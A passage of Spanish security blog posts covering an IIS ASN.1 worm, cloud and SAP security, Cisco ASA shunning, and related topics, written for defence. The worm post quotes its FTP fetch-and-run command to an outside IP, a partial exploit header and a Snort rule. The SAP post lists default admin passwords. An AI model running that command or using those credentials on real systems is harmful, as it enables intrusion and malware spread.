Vuelven viejos conocidos. Ataques masivos a servidores IIS

Recientemente, hemos detectado una nueva tendencia en los ataques a servidores web IIS. Los ataques intentan explotar una vieja vulnerabilidad de 2004 en los servidores web de Microsoft. Es habitual que malwares antiguos todavía sigan funcionando años después de su gran apogeo, ya que muchas máquinas no se actualizan correctamente y siguen siendo vulnerables.

Lo que ya no es tan común es que años después haya un aumento tan elevado de ataques, siendo estos de distintos orígenes. Como ejemplo, sirva esta captura de nuestro sistema de posicionamiento de ataques en tiempo real:

mapa

Como se aprecia en la imagen, los ataques provienen de todo el mundo (en el caso de la imagen; USA, India, Japón, Rusia, Taiwan… ) y en un breve espacio de tiempo. En concreto, los ataques que se reciben son al puerto 80, donde se obtienen peticiones del tipo:

GET / HTTP/1.0

Host: XXX.XXX.XXX.XXX

Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU…

Después de una rápida investigación, lo mas probable es que se esté intentando explotar la vulnerabilidad de ASN.1 detallada en MS04-007 y en SANS.edu. El ataque realiza lo siguiente:

1º) Ejecuta el exploit.
2º) Si tiene éxito, abre un servidor ftp en el puerto 21.
3º) Una vez abierto el puerto, se descarga el malware con una orden como la siguiente:

cmd /c echo open 210.134.62.199 21 > o&echo user 1 1 >> o &echo get Rewetsr.exe >> o &echo quit >> o &ftp -n -s:o &Rewetsr.exe

4º) Ejecuta el malware, se infecta y vuelve a realizar el mismo ataque para propagarse a otros sistemas.
Hemos identificado que en el conjunto de los equipos infectados, efectivamente disponen del servicio ftp sirviendo el malware:

nmap
Por último, para aquellos lectores que usen SNORT, aquí tenéis una de las firmas que detecta el ataque:

reject tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:”SPECIFIC-THREATS ASN.1 constructed bit string”; flow:established,to_server; content:”Authorization|3A| Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUF”; reference:cve,2005-1935; reference:url,www.phreedom.org/solar/exploits/msasn1-bitstring/; classtype:attempted-admin; sid:12709; rev:2;)

Recomendamos su inmediato despliegue en sistemas IDS e IPS.

Facebook añade el soporte de https y autenticación social

Hace un par de días Facebook anunciaba desde su blog dos de sus nuevas funcionalidades para aumentar la seguridad de sus usuarios.

La primera, y una de las más demandadas por los usuarios, es el soporte de sesiones https. Hasta ahora, solo la parte de autenticación de login y password iban cifradas, dejando toda la actividad que realizáramos en la red social sin cifrar. De este modo, un atacante podría leer nuestras conversaciones, ver nuestras fotos, robar nuestras cookies, etc. Parece que la aparición de Firesheep, una extensión de Firefox que permite robar las cookies de sesión de multitud de sitios web, ha acelerado el proceso de incorporación de https a los servidores de Facebook.

Esta nueva funcionalidad se está activando progresivamente y en unas semanas todos podremos disfrutar de una navegación más segura. Para activar el https, deberemos acceder a Configuración de la cuenta → Seguridad de la cuenta donde podremos ver algo como esto:

Una vez seleccionada la opción “https” pasaremos a ver la la barra de direcciones de color verde, como en la siguiente imagen:

La otra mejora que ha añadido Facebook tiene como función evitar que un atacante que haya conseguido nuestras credenciales pueda acceder a nuestra cuenta. Para ello, si por ejemplo accedemos a Facebook desde una dirección IP de Valencia, y en pocas horas, nos volvemos a loguear desde una IP rusa, Facebook detecta que ha habido una actividad sospechosa, y deberemos validarnos como los propietarios de la cuenta. Para ello, se nos mostrarán fotos de nuestros amigos, las cuales deberemos de reconocer.

5

Esta última medida tiene un pequeño “inconveniente”. Hay usuarios que son jugadores muy activos de juegos como FarmVille, CityVille, etc., que se dedican a agregar amigos que no conocen solo por el simple hecho de obtener dinero virtual. Estas personas, si necesitan alguna vez realizar una autenticación social, es muy probable que no superen la prueba y tengan que pedir un cambio de contraseña (sin contar con los problemas de privacidad asociados).

Desde mi punto de vista, Facebook ha mejorado bastante en materia de seguridad. Aparte de las medidas aquí descritas, hace relativamente poco se introdujeron las funcionalidades de logout remoto y one-time passwords que hacen que nuestros datos sean un poco más seguros. Y aunque por defecto, la privacidad sigue siendo escasa, se puede configurar nuestra cuenta para obtener una mayor seguridad y privacidad.

Nada más. Pasen un buen fin de semana, aunque sea frío y pasado por agua.

Se dónde estás: tecnologias de posicionamiento en dispositivos de hoy en dia

Dado que aspectos como la movilidad y el geoposicionamiento están poniéndose cada vez más de moda, en este post me gustaría repasar las diferentes tecnologías existentes y las implicaciones de privacidad, que en algunos casos son muy importantes. Veamos pues de qué estamos hablando.

  • Métodos de posicionamiento por parte de “la red”
    • Posicionamiento por célula telefónica: La red de telefonía móvil sabe en cada momento dónde está cada teléfono móvil, con una precisión que varía según las células pero que puede estar entre 1 Km y 35Km. Así pues, la compañía de teléfonos sabe dónde estas, y si eso no fuese suficiente, esta información la almacenan, por lo que si llevas tu móvil encima, saben donde has estado en cada momento de tu vida. ¿Se puede acceder a esta información? Sí. Las Fuerzas de Seguridad del Estado están autorizadas para ello si lo solicitan a las operadoras mediante orden judicial. Por ejemplo, tras el atentado del 11-M, sea accedió a dicha información que fue clave para encontrar a los terroristas, ya que un móvil fue encendido antes del atentado en otra ubicación donde tenían su base.

      [Read more…]

Seguridad en Cloud computing

He decidido poner el término Cloud computing en el titulo del post para tener mas visitas, ya que es un termino de moda, pero si me disculpan la pequeña “trampa”, en su lugar voy a hablar de la seguridad en Infraestructuras compartidas, que es un tema tanto o más interesante en seguridad.

Cuando hablamos de Infraestructuras compartidas nos referimos a la serie de infraestructuras TI que en cualquier organización son compartidas por diversos proyectos. Por ejemplo es habitual que se comparta la infraestructura de red, el almacenamiento en una cabina de discos, o los mismos servidores físicos mediante virtualización; si es un proveedor de servicios el que ofrece la infraestructura, estos elementos estarán compartidos además entre diversos clientes que en si mismo son organizaciones diferentes (vamos, el servicio de hosting de toda la vida).

Así pues, vamos a comentar diversas vulnerabilidades que con las medidas adecuadas están contempladas y en teoría resueltas, pero que son en todo caso posibles vulnerabilidades que pueden aparecer cuando se comparten infraestructuras.

Infraestructura de red compartida: No es difícil imaginar un escenario donde tenemos varios servidores conectados a la misma infraestructura de red, donde, si todo se configura bien no deberían haber problemas, pero si se configura mal, pueden pasar entre otras las siguientes cosas: (1)

  • Sniffing: Un equipo puede ver el trafico del equipo de al lado; esto puede pasar si están conectados al mismo switch y no se han tomado las necesarias precauciones (arp posisoning).
  • DOS: Al estar un equipo próximo a otro, puede atacarlo con un gran ancho de banda o un gran numero de conexiones.
  • Interceptar/sustituir: Es posible que un equipo pueda suplantar a otro (p.e. cambiando la IP) para interceptar el trafico o suplantar respuestas.
  • Atacar: Es posible que al compartir una misma infraestructura de red, desde dentro de la misma red (por ejemplo dentro de la misma DMZ) los equipos puedan atacar a los otros, teniendo mas visibilidad de servicios que desde el exterior están cerrados. Una descripción de cómo hacer esto pueden encontrarla aquí.

¿Están las infraestructuras de red compartidas convenientemente independizadas en los servicios de hosting y de Cloud?

Infraestructura de disco compartida: En cualquier infraestructura TI, es habitual que se disponga de una cabina de disco (SAN/NAS) a la que se conectan todos los servidores (desde servidores internos, hasta servidores de la DMZ)(2)

  • Acceso a datos (no autorizados): Técnicamente es posible que un servidor se conecte al disco de otro servidor si comparte cabina, con lo que podría leer o incluso alterar los datos. Las cabinas de disco normalmente limitan qué servidor puede conectar a qué parte de disco, basándose en la direccion “MAC” (se llama WWN) de la tarjeta. ¿Podría un hacker cambiar esa dirección? ¿Tenemos hard-zoning para evitar este ataque? Aun no he visto ninguna instalación en que se configure hard-zoning ya que es bastante mas incómodo. Si piensa que es muy raro que todos los servidores tengan acceso a los mismos discos, piense en todos sus servidores host de virtualizacion que pueden acceder a todos los discos del cluster.
  • DOS/Carga: ¿Qué pasa si un servidor monopoliza todos los recursos?
  • Acceso a datos borrados: ¿Qué pasa si montamos una unidad de disco en el servidor de un cliente y luego la conectamos a otro servidor de otro cliente? ¿Si leemos el disco vemos los datos del otro cliente? Muchos me diréis que es una posibilidad muy extraña ya que las cabinas de discos limpian las LUNs antes de asignarlas, pero esto “se le paso” a Amazon Ec2.

¿Están las infraestructuras de almacenamiento convenientemente independizadas en los servicios de hosting y de Cloud? (3)

  • Virtualización: Cualquier entorno TI de hoy en día dispone de servidores virtualizados, ya que es una de la manera mas efectivas de compartir recursos, garantizar la disponibilidad, ahorrar energía y muchas otras cosas. Numerosos sistemas Cloud (IAAS) están basados fundamentalmente en sistemas virtualizados, con APIs de autoprovisionamiento. Veamos algunos de los ataques que se pueden realizar en este tipo de entornos.
    • Ataques de guest a host: Ya han aparecido vulnerabilidades mediante las cuales un guest ha podido ejecutar código en el espacio del host, y por lo tanto desde un servidor virtual es posible atacar a otras maquinas virtuales. Véase este enlace para más detalles.
    • Consolas remotas compartidas (el “control panel” del cloud): Si tenemos un sistema de virtualización compartido, al cual accedemos desde una consola de gestión remota a través de Internet, ¿qué pasa si esta consola de gestión tiene alguna vulnerabilidad y alguien coge el control? Pueden haber muchos posibles problemas, desde vulnerabilidades de la aplicación de gestión remota (XSS para robo de sesión sería un ataque viable) a posibles pérdidas de credenciales. La autenticación de estos sistemas por ahora es simple y sin dispositivos robustos. Otro vector de ataque pueden ser las APIs de gestión de ofrecidas por los servicios de cloud, ya que mediante estas APIs se pueden crear o destruir servidores; ¿seguro que no hay vulnerabilidades mediante las cuales se puedan crear o destruir servidores de otro cliente?
    • Carga/DOS/QOS: ¿Qué pasa si un cliente monopoliza todos los recursos?
    • Vulnerabilidades del host (desde fuera, o desde los guests): El host es otro sistema que puede ser atacado, bien desde donde sea accesible (consola de gestión p.e.) o bien desde los propios guest que debido a alguna vulnerabilidad son capaces de coger control de host. Dicho de otra forma, aunque uno pueda tener su servidor web y sus aplicativos securizados, quizá el host que los alberga no lo está.
  • Servidores web/servidores de aplicaciones compartidos: Es habitual compartir el mismo servidor de aplicaciones entre diversos proyectos, pero hay que contemplar los problemas que nos podemos encontrar:(4)
    • Tienen acceso al mismo almacenamiento.
    • Son el mismo usuario de maquina/BBDD/memoria.
    • QOS: Puede un usuario degradar el rendimiento de todos los usuarios.

    Un ejemplo de estos servicios en la nube son: Windows azure o Google Application Engine.

¿Están las infraestructuras de virtualización convenientemente independizadas en los servicios de hosting y de Cloud?

Hosting/Aplicaciones SAAS compartidas: Dentro de lo que está tan de moda del cloud, también se incluyen de alguna manera las aplicaciones compartidas modelo cloud (SAAS). En el fondo, éste es el modelo mas antiguo de hosting, en el que las aplicaciones originales eran servidores web, servidores de correo compartidos entre diversos clientes. Hoy en día se ofrecen aplicaciones mas elaboradas que ofrecen más valor a las organizaciones. Veamos qué problemas nos podemos encontrar en estos modelos.

Imagínese que comparte aplicación entre “perfiles” o clientes. Es posible que dos usuarios de la misma aplicación, por algún error de diseño de ésta, tengan acceso a lectura o modificación de otro usuario. Por ejemplo, recordarán que hace poco sucedió que un usuario de facebook podía ver cualquier conversación del chat de otro. Así pues, si usamos de manera compartida una “aplicación” SAAS, nos podemos encontrar con posibles problemas si no ésta no está bien implementada. ¿Podría pasar que en nuestro CRM en SAAS por un error de programación pudiéramos ver los clientes de otra empresa también albergada en este SAAS? Facebook tuvo una vulnerabilidad con la que podías ver los chats de otros usuarios.

¿Están las aplicaciones convenientemente independizadas en los servicios de hosting y de Cloud? (5)

Mira por dónde, sin quererlo, he acabado hablando de Cloud Computing, nada nuevo respecto a lo que ya conocemos en cuanto a infraestructuras compartidas, pero sin duda una novedad en cuanto a que está todo junto, con las ventajas que esto aporta, pero con el añadido que hay que considerarlo todo conjuntamente.

Por repasar los tipos de Cloud existentes:

  • IAAS, Infraestructure as a service: básicamente podríamos decir que tenemos una macroplataforma virtualizada bajo demanda (1)(2)(3).
  • PAAS, Platform as a Service: tenemos una especie de servidor de aplicaciones distribuido y autoescalable (4).
  • SAAS, Software as a Service: tenemos una aplicación general la cual nos da servicio (5).

En este post hemos revisado algunas vulnerabilidades desde un punto de vista técnico que aparecen si compartimos infraestructuras. Desde el punto de vista de control sobre los servicios externalizados y concentrados en datacenters de megacorporaciones también hay mucho que hablar, y por otro lado los proveedores de sistemas virtuales están redefiniendo sus productos haciendo que cada vez se parezcan mas a una nube “privada” en cuanto a que se dispone de unas infraestructuras compartidas autogestionadas. Todas la posibles vulnerabilidades mencionadas sólo son posibles puntos de fallo por donde aparecerán vulnerabilidades, que aunque en principio ya están contempladas y cubiertas, debemos contar que irán apareciendo nuevas vulnerabilidades causadas por compartir infraestructura. Si dicha infraestructura es sólo compartida entre proyectos internos de la organización los riesgos son unos, pero si la infraestructura es compartida con no sabemos quién, y disponible en Internet los riesgos son mayores. Esto es lo que hay que saber valorar.

A pesar de ello, los servicios en Cloud son la evolución lógica de hosting (infraestructuras compartidas de toda la vida). Todo lo que tuviera sentido en ese entorno ahora lo puede tener en la nube; en todo caso los proyectos que necesitan una grandísima escalabilidad normalmente están asociados a accesos desde Internet, en cuyo caso la nube tiene todo el sentido del mundo, ya que nos permite acceder a proveedores con grandes capacidades de almacenamiento, ancho de banda y servidores. Es más, me atrevería a apostar que los proveedores serios de Cloud sí tienen en mente que todos los recursos compartidos deben estar independizados, y probablemente sean más conscientes de estos riesgos que los provedores de hosting más tradicionales, con aproximaciones más “ligeras” al Cloud.

Dicho esto, pasen un buen fin de semana, y ¡¡nos vemos en la nube!!

Seguridad en SAP

Recientemente recibimos un curso de Seguridad en SAP durante el que se analizaron los aspectos más importantes en la seguridad de estos entornos y los errores más comunes que pueden encontrarse en una implantación SAP. SAP es un sistema de planificación de recursos empresariales o ERP que permiten, mediante módulos, la integración y control de todas las operaciones relacionadas con la compañía, y como podrán imaginarse una reducción de costes para ésta. Se compone de una serie de módulos que realizan una función en concreto, como la gestión de almacenes (WM), producción (PP-PI), gestión de calidad (QM), gestión de materiales (MM), etc. Cada uno de estos módulos proporcionan al entorno SAP un mayor número de funcionalidades. En esta entrada de Security Art Work se comentarán, de forma resumida, los procesos correctores más comunes en el ámbito de la seguridad dentro de un sistema de estas características.

Los aspectos más habituales de seguridad SAP se centran en la parametrización general del sistema, la configuración de transacciones incompatibles desde el punto de vista operativo en el entorno de los procesos de negocio, la segregación de funciones y la gestión de identificación y autenticación de usuarios. Pero antes de comenzar a tratar cada uno de los puntos expuestos con anterioridad, debemos presentar el concepto de mandante. Un mandante es un subsistema o unidad independiente dentro de un sistema SAP. Las acciones que se realizan dentro de cada mandante reciben el nombre de transacción. Éstas son órdenes que llaman a un programa escrito en ABAP, que a su vez realiza transacciones a través del core de SAP, consultando en la mayoría de los casos la base de datos.

Desde el punto de vista de seguridad, los mandantes deben estar cerrados y no permitir las modificaciones a objetos del repositorio y la parametrización no dependiente del mandante. Para ello hay que restringir las transacciones SE06 y SCC4 indicando que no son modificables, no se debe permitir la comparación de customizing ni admitir cambios no dependientes del mandante, se debe seleccionar el nivel 2 de protección e indicar que el rol del mandante es de tipo productivo. Otras transacciones críticas a tener en cuenta a la hora de restringir su acceso son la SV01 (gestión de usuarios), SN01 (transacciones que se pueden realizar) y SCC5 (borrar el mandante).

Los mandantes por defecto en todo sistema SAP son 000, 001 y 066. Si no existe usuario para estos mandantes se podrá acceder a este mediante el usuario SAP* y la contraseña PASS, de la misma forma que si existen los usuarios por defecto, estos serán SAP* y DDIC, con contraseña 06071992 y 19920706 respectivamente. Otros usuarios por defecto son SAPCPIC y EARLYWATCH (sólo mandante 066), todos ellos con permisos de administración. Por tanto es importante en toda implantación SAP -como en toda implantación a secas- cambiar las contraseñas por defecto de dichos usuarios mediante el report RSUSR003.

En el entorno SAP existen una serie de transacciones que deben ser limitadas, incluso impedir desde cualquier usuario su llamada, debido a los riesgos de seguridad que implican. Principalmente se trata de la SE11, SE16, SE30, SA38, SM30, SE16m y SM49, y debemos prestar especial atención a RSBDCOS0, SM38 (shell de sistema), SM49 (creación de órdenes del sistema) y SM59 (ejecución de órdenes en el sistema). Otro punto de control a tener en cuenta son aquellas transacciones desarrolladas a medida para la empresa por un equipo de desarrollo no perteneciente a SAP y que, por tanto, no han pasado por el equipo técnico de calidad de SAP. Estas transacciones se identifican por la primera letra del nombre de la transacción (letra Z o letra Y) y son las llamadas transacciones Z* o Y*. Deben cumplir con unos requerimientos mínimos de seguridad que limiten su ejecución a los usuarios autorizados para ello; estas restricciones específicas se conocen con el nombre de authority-check y sin ellas cualquier usuario con acceso a la transacción de lanzamiento SE38 o SA38 podría ejecutar dichas transacciones (existe el report RSRSCAN1 que permite comprobar si se están realizando los correspondientes comprobaciones de autorización).

Otro aspecto de seguridad en el ámbito de SAP es el relacionado con la gestión de usuarios; de entrada, no se debe permitir a un usuario saltar a otro mandante distinto al asignado, para lo que aquellos usuarios que se conecten de forma remota (ya sea mediante la interfaz Web o mediante el cliente R/3) deben de estar configurados como usuarios de fondo y NO como diálogo. De la misma forma, es recomendable la aplicación de políticas de seguridad que fuercen al uso de contraseñas seguras, por ejemplo empleando la transacción SM30 → USR40 para especificar, mediante expresiones regulares, qué contraseñas no son válidas y un diccionario de palabras no permitidas. Adicionalmente, mediante el uso del report RSPARAM, se pueden parametrizar aspectos como el número de logins incorrectos, longitud mínima de la contraseña, seguimiento de la inactividad, etc.

Finalmente, pero no por ello menos importante, debemos hablar de una segregación de funciones correcta en SAP, que no permita a un determinado usuario acceso a determinadas combinaciones de transacciones; para ayudar en esta segregación de funciones, SAP dispone del report RSVR008_009_NEW, que permite indicar las combinaciones críticas existentes en el sistema.

Seguiremos añadiendo algún post de este mundo -SAP- que hasta el curso que hemos comentado, desconocía por completo y que, una vez hemos comenzado a entrar en él, se adivina inmenso -y conflictivo- desde el punto de vista de su seguridad.

La orden shun

Como cada día 1 de septiembre desde hace unos años, volvemos a la carga con el blog; y como cada día 1 de septiembre desde hace unos años esperamos que las vacaciones hayan sido provechosas en todos los sentidos, que hayan descansado y que vuelvan con las pilas cargadas para los meses que nos quedan (sólo 11) hasta el próximo periodo de descanso estival. Tras el mes de agosto, vamos a comenzar con la marcha habitual en Security Art Work, en este caso con un post de José Luis acerca del filtrado en los dispositivos ASA de Cisco. Vamos allá…

Si en nuestra organización disponemos de un IPS, cuando éste detecta un ataque suele filtrar de forma inmediata el tráfico proveniente de la dirección IP atacante; no obstante, si simplemente tenemos un IDS, una vez que nuestros sistemas de detección han detectado y notificado una actividad potencialmente sospechosa, la primera función que suele llevar a cabo el personal de seguridad es el filtrado manual de las conexiones en el firewall corporativo para, posteriormente, realizar un análisis más minucioso del ataque, una análisis forense e incluso, en caso de ser necesario, proceder a denunciar el hecho ante las FFCCSE. En cualquier caso, la velocidad de respuesta a la hora de llevar a cabo el filtrado de la dirección IP que nos ataca es crítica, ya que cuanto más tiempo pueda tener acceso el atacante a nuestros sistemas, mayor será el daño que nos cause, por ejemplo dejando puertas abiertas para conexiones futuras o directamente robando información.

Aunque debemos tener perfectamente procedimentados y probados los pasos a seguir como respuesta a un ataque -o intento de ataque-, lo cierto es que durante esos momentos de ‘tensión’ lo primero que se suele hacer es, al menos, filtrar todo tipo de acceso desde la IP atacante a nuestros sistemas. En este post se va a tratar una forma rápida y sencilla para llevar a cabo el filtrado de conexiones sospechosas en sistemas firealls ASA de Cisco Systems, los cuales integran otros sistemas como VPN o IPS.

A la hora de integrar un IPS en el sistema ASA, lo habitual es contar con una tarjeta hardware dedicada en el propio equipo o con sensores distribuidos en la red que recopilan la informacion del ataque y envían las órdenes de filtrado al firewall. Puesto que asuminos que no tenemos este tipo de sistemas -si los tuviéramos, el filtrado sería automático, como hemos comentado-, podemos usar directamente la orden shun de ASA para filtrar direcciones concretas de forma cómoda; incluso mediante la creación de varios scripts, podríamos integrar un IDS como Snort con un firewall ASA.

El funcionamiento de la orden shun es sencillo. Su función es básicamente la de finalizar las conexiones ACTUALES y denegar las nuevas conexiones, basándose en una serie de parámetros como pueden ser la dirección IP origen, la dirección o puerto destino, el tipo de protocolo, etc. A su vez, también registra las conexiones filtradas hasta que las direcciones son habilitadas de nuevo en el firewall. Por ejemplo, si nuestro IDS ha detectado un potencial ataque desde una IP externa (para este ejemplo, tomamos la dirección privada 192.168.1.1) hacia nuestro servidor web (con dirección 10.20.20.1), podemos proceder a filtrar la IP externa en nuestro firewall:

ASA# shun 192.168.1.1
Shun 192.168.1.1 successful
401002: Shun added: 192.168.1.1 0.0.0.0 0 0
401004: Shunned packet: 192.168.1.1 ==> 10.20.20.1 on interface outside
401004: Shunned packet: 192.168.1.1 ==> 10.20.20.1 on interface outside
401004: Shunned packet: 192.168.1.1 ==> 10.20.20.1 on interface outside
401004: Shunned packet: 192.168.1.1 ==> 10.20.20.1 on interface outside

Comprobamos que hemos aplicado shunning IDS y aumentan los contadores de tráfico bloqueado:

ASA# show shun stat
outside=ON, cnt=134
inside=OFF, cnt=0
intf2=OFF, cnt=0

Shun 192.168.1.1 cnt=9, time=(0:00:10)

Si en un futuro necesitamos habilitar de nuevo el tráfico desde la dirección IP que hemos bloqueado, podemos hacerlo mediante la siguiente orden:

ASA# no shun 192.168.1.1
401003: Shun deleted: 192.168.1.1

Como vemos, Cisco ASA proporciona una orden rápida y sencilla para bloquear completamente a un atacante en nuestro cortafuegos. Aunque lo ideal es tener un sistema IPS que filtre los ataques de forma automática, en caso de que esto no sea posible, el filtrado manual se vuelve un proceso critico, por lo que debe ser procedimentado y conocido por el personal de seguridad. Y por supuesto debe ser probado de forma periódica, ya que como sabemos, los momentos de tensión son los peores para ponerse a probar…

Dropbox: Sincronización de archivos fácil y… ¿segura?

Hace algunos meses oí hablar de Dropbox, un servicio de respaldo de archivos de seguridad basado en web. El servicio se basa en la posibilidad de acceder a un directorio de archivos (MyDropbox), con capacidad desde 2GB (gratuito) hasta 100GB ($19.99 al mes) desde cualquier equipo con sólo instalar el cliente de Dropbox. Por tanto, permite sincronizar archivos automáticamente entre múltiples equipos, por ejemplo el PC de sobremesa, el portátil o el iPhone, de forma realmente fácil. Tan sólo dejando caer un archivo en MyDropbox desde uno de los equipos con el cliente instalado se sincroniza automáticamente en la nube o disco virtual y en el resto de equipos.

Los usuarios de la aplicación pueden acceder a una cuenta de administración para compartir directorios a determinados usuarios, subir ficheros, restaurar versiones anteriores o recuperar archivos borrados. Tiene por tanto soporte para historial de revisiones, de forma que los archivos borrados de la carpeta de Dropbox pueden ser recuperados desde cualquiera de los equipos. También existe la funcionalidad de conocer la historia de un archivo en el que se esté trabajando, permitiendo que una persona pueda editar y cargar los archivos sin peligro de que se puedan perder las versiones previas. El historial de los archivos está limitado a un período de 30 días, aunque en la versión de pago que ofrece el historial ilimitado; el historial utiliza la tecnología de delta encoding.

Una primera aplicación que puede venir a la mente consiste en la simplicidad de sincronizar los archivos de trabajo en la oficina con el portátil personal. Ahí es donde empieza a ser algo serio en relación a la seguridad en empresas. Indagando acerca de la seguridad de Dropbox, los datos se transfieren a los servidores de Dropbox mediante SSL y antes de almacenarlo en sus servidores, se cifra mediante AES-256. Sin embargo, desde la parte de cliente, es una vía de salida de información confidencial al exterior de las empresas, inutilizando las configuraciones de firewalls y exponiendo datos sin control. En mi opinión, aplicaciones como éstas deben incluirse en el grupo de aplicaciones restringidas.

Si el análisis lo hacemos desde el punto de vista de la sincronización de archivos personales fuera del ámbito profesional, sin utilizar la herramienta para manejar información corporativa, también genera ciertas dudas, ya que existen directorios de contenido compartido, pudiendo acceder a información contenida en el mismo y en sus subniveles. Además, una de las opciones de compartición de archivos o directorios consiste en que Dropbox envía una URL de acceso al recurso vía email, sin necesidad siquiera de autenticación en una cuenta de Dropbox, por lo que otro puede acceder al recurso con sólo acceder a la URL adecuada.

Debo confesar que la idea de Dropbox como servicio me parece muy útil, pero creo que a día de hoy tiene mucho que mejorar en relación a seguridad y privacidad. Cabría estudiar si, utilizada junto a herramientas como TrueCrypt, podríamos confiar en su uso. También he leído que se está desarrollando una versión que pueda ser utilizada en las empresas, lo que confirmaría la aceptación del hecho que su utilización con la versión actual no debe ser muy adecuada. La proliferación de este tipo de aplicaciones está haciendo el trabajo aún más difícil al sector de la seguridad, ya que incluye una tarea importante, el control de la instalación de aplicaciones restringidas, no sólo en asegurar que los usuarios no instalan y utilizan las conocidas, sino en permanecer alerta ante nuevas aplicaciones que no cumplan los requisitos de seguridad.

Medidas de seguridad por Geolocalizacion de dirección IP

Aprovechando que se acerca el periodo estival en el cual es posible que decidamos realizar algún viaje, me gustaría comentar ciertas medidas de protección implantadas en diversos sistemas de login relacionados con la ubicación geográfica del usuario. Para empezar, comentar que existen BBDD de IPs que las relacionan con su posición física, de manera que puedes consultar dónde esta ubicada una dirección IP con bastante precisión, hasta el punto de que en el mejor de los casos es posible acertar con la población en la que te encuentras; en el peor de los casos, el acierto se limita al país.

Esto es aprovechado hoy en día por cada vez mas aplicaciones, como por ejemplo para ofrecer servicios específicos para la población en que te encuentras. Por ejemplo en mi caso Google hace publicidad ofreciéndome comercios y servicios por ejemplo de la ciudad de Valencia. Esta información se viene utilizando también de manera habitual para orientar, limitar y prohibir el acceso a los contenidos en función de la ubicación física de la persona. Un ejemplo de ello son las cadenas de televisión que emiten video por Internet, limitando dichos contenidos al país en el que tienen licencias para emitir ciertos contenidos (por ejemplo, eventos deportivos concretos). En España esto es utilizado por La Sexta o Telecinco en sus emisiones de TV Online, ya que no tienen licencias de emisión universales. Por supuesto, estas técnicas le quitan universalidad a Internet, pero eso un tema para otro día. Siguiendo con las prohibiciones (que es casi el uso más habitual), existen BBDD de direcciones IP para poder limitar por países enteros; en http://ip.ludost.net/ tenemos herramientas que permiten incorporar estos límites de países a las ACLs de Apache o iptables, lo que puede ser util si queremos interaccionar solo con un país. Como aspecto positivo, también se utiliza para mejorar la seguridad, en módulos de login o transacciones de compras, siendo una medida habitual en los módulos anti-fraude.

No obstante, como todas las tecnologías están sujetas a imprecisiones y problemas. Por ejemplo, pueden fallar si estás dentro de una WAN de tu organización y los proxys se encuentran en una ubicación remota, ya que los contenidos a los que podrás tener acceso no son aquellos que por tu geolocalización deberías tener. Esto pasa con proveedores de Internet globales como AOL, o por ejemplo, en multinacionales en las que la salida a Internet pueda estar centralizada en una ubicación, a pesar de disponer de sedes repartidas por todo el globo (por ejemplo, la salida a Internet de Ford Motor Company puede estar en Estados Unidos, aunque disponga de fábricas por todo el mundo). Otro punto de fallo es la navegación por dispositivos móviles, ya que también está sujeta a cómo tu operador gestione el tráfico a Internet, o cuando hagas roaming, si estas en modo WiFi, conexiones por satélite, etc. Por último, los proxys de navegación como el diseñado por Opera para acelerar las conexiones a Internet, sufren este problema que pueden resultar en quebraderos y falsos positivos con las consiguientes inconveniencias para los usuarios.

A pesar de todo, el aspecto más positivo de este tipo de información es su utilización para evitar el fraude, de una manera muy sencilla. Por ejemplo, es posible comparar si la ubicación habitual de nuestro cliente y su ubicación actual son cercanas o han variado en miles de km, podemos ver si existen accesos simultáneos a servicios desde ubicaciones separadas miles de km, o analizar si el histórico de conexiones de nuestro cliente cumple cierto patrón. Esto genera contramedidas que ya han sido aplicadas por algunos proveedores de servicios. Por ejemplo, si Facebook detecta que alguien se está conectando desde una ubicación remota desde el móvil, puede cortar el acceso solicitando una conexión desde el PC habitual, o solicitar una serie de datos adicionales (fecha de nacimiento y otras) para su verificación. Por otra parte, Paypal, uno de los mayores objetivos de fraude, si detecta compras desde ubicaciones no habituales del usuario y con entrega en éstas, puede decidir bloquear la cuenta (a quien le pasó esto aún no se si ha podido restablecer la cuenta).

Todas estas medidas están diseñadas para proteger al usuario ante los problemas de fraude, normalmente cuando hay transacciones bancarias, compras de productos, u otros temas sensibles. Desgraciadamente, como todo, tienen su parte de molestia, ya que es probable que si se encuentra en Shangai de vacaciones, puede resultar que su banco no le quiera, Facebook no se fíe de usted y no pueda realizar compras mediante Paypal. En ese caso, lo mejor es dejar el portátil o Smartphone y disfrutar de las vacaciones. La tecnología seguirá ahí a su vuelta.

IDS en el cortafuegos

A la hora de hablar de detección de intrusos, un modelo dentro de los NIDS que no es muy habitual es la detección en el cortafuegos (o en los cortafuegos) corporativo; digo que no es muy habitual -al menos por mi experiencia- y no sé muy bien por qué, ya que bajo mi punto de vista se trata de algo bastante sencillo de implantar en la mayor parte de firewalls, con un mantenimiento simple y, sobre todo, con una tasa muy baja de falsos positivos. Además, creo que le ahorraría bastante trabajo a los sistemas de detección ubicados en las redes internas, algo que en el caso de seguridad pasiva (IDS) se traduce directamente en un ahorro de costes en el personal dedicado a revisar las alertas de un SNORT o similar.

Un cortafuegos suele manejarse muy bien con las cabeceras de los paquetes y menos bien (o simplemente, muy mal) con los campos de datos; así, para hablar de detección en el cortafuegos, podemos centrarnos en los ataques -o en las anomalías, por no hablar aún de ataques- de dichas cabeceras. ¿Y qué información hay en los campos de cabecera de protocolos como TCP o IP? Direcciones origen y destino, puertos origen y destino, información del protocolo, bits URG, FIN, etc. Un montón de información que, correctamente analizada, permitirá bloquear tráficos anómalos que tratan de entrar en nuestra red y nos proporcionará información útil de eventos cuanto menos sospechosos.

Para empezar, lo obvio: de una determinada zona de red -interna o externa- no puede llegar tráfico con dirección origen otra zona de red. Así, si nuestra red de usuarios tiene un direccionamiento 192.168.1.0/24, desde esa red no debería llegar nunca un paquete con origen en otro direccionamiento -al menos, en condiciones normales-, por lo que podemos definir reglas que acoten qué direcciones origen pueden provenir de cada zona de red. Y seguimos con más cosas obvias: hay puertos que deben estar filtrados sí o sí (o casi sí), y cualquier actividad con destino dichos puertos puede ser a priori considerada sospechosa. ¿Quién utiliza hoy en día el protocolo UUCP? ¿Y gopher? ¿Alguien conoce algún uso lícito y habitual de chargen? ¿Y de finger? Si en mi cortafuegos veo tráfico hacia esos puertos, lo más probable es que me encuentre ante un ataque -típicamente un barrido de puertos, un information gathering o incluso malware-, por lo que me va a interesar bloquear y registrar este tráfico. Algunos puertos interesantes para enterarnos de estas acciones -sin menoscabo, por supuesto, de que todo lo no explícitamente autorizado esté cortado en nuestro firewall- pueden ser discard, 